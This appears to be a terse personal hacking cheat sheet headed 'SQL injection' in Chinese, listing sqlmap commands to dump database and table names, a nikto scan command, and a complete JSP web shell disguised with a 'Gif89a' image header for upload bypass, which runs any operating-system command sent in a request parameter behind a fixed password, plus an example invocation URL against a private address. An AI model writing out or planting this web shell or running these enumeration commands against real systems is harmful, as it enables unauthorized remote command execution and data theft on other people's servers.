sql注入
sqlmap -u [url] --dbs (输出数据库名称) --dbms mysql -D [dbname] --tablesnikto --host [domain]Gif89a <% if("023".equals(request.getParameter("pwd"))){ java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream(); int a = -1; byte[] b = new byte[2048]; out.print(" <pre>"); while((a=in.read(b))!=-1){ out.println(new String(b,0,a)); } out.print("</pre> "); } %>http://192.168.16.240:8080/Shell/cmd2.jsp?pwd=023&i=ls
Last updated